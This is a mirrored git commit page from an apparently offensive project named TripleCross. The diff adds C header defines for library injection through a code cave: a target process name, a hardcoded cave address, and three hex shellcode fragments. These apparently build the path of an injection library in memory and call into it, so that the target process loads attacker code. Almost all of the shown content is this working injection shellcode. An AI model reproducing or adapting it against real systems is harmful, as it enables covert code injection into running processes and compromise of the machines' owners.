mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-21 09:13:07 +08:00
Introduced shellcode and finished code cave writing and injection. RELRO working
This commit is contained in:
@@ -24,6 +24,26 @@
|
||||
|
||||
//LIBRARY INJECTION WITH ROP
|
||||
#define TASK_COMM_NAME_ROP_TARGET "simple_timer"
|
||||
#define CODE_CAVE_ADDRESS 0x0000000000402e95
|
||||
#define CODE_CAVE_ADDRESS_STATIC 0x0000000000402e95
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_1 \
|
||||
"\xbf\x00\x20\x00\x00\x48\xbb"
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_1_LEN 7
|
||||
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_2 \
|
||||
"\xff\xd3\x48\x89\xc3\xc7\x00\x2f\x68\x6f\x6d\
|
||||
\xc7\x40\x04\x65\x2f\x6f\x73\xc7\x40\x08\x62\x6f\x78\
|
||||
\x65\xc7\x40\x0c\x73\x2f\x54\x46\xc7\x40\x10\x47\x2f\
|
||||
\x73\x72\xc7\x40\x14\x63\x2f\x68\x65\xc7\x40\x18\x6c\
|
||||
\x70\x65\x72\xc7\x40\x1c\x73\x2f\x69\x6e\xc7\x40\x20\
|
||||
\x6a\x65\x63\x74\xc7\x40\x24\x69\x6f\x6e\x5f\xc7\x40\
|
||||
\x28\x6c\x69\x62\x2e\xc7\x40\x2c\x73\x6f\x00\x00\x48\
|
||||
\xb8"
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_2_LEN 90
|
||||
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3 \
|
||||
"\xbe\x01\x00\x00\x00\x48\x89\xdf\x48\x89\xdc\
|
||||
\x48\x81\xc4\x00\x10\x00\x00\x48\x89\xe5\xff\xd0"
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 23
|
||||
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user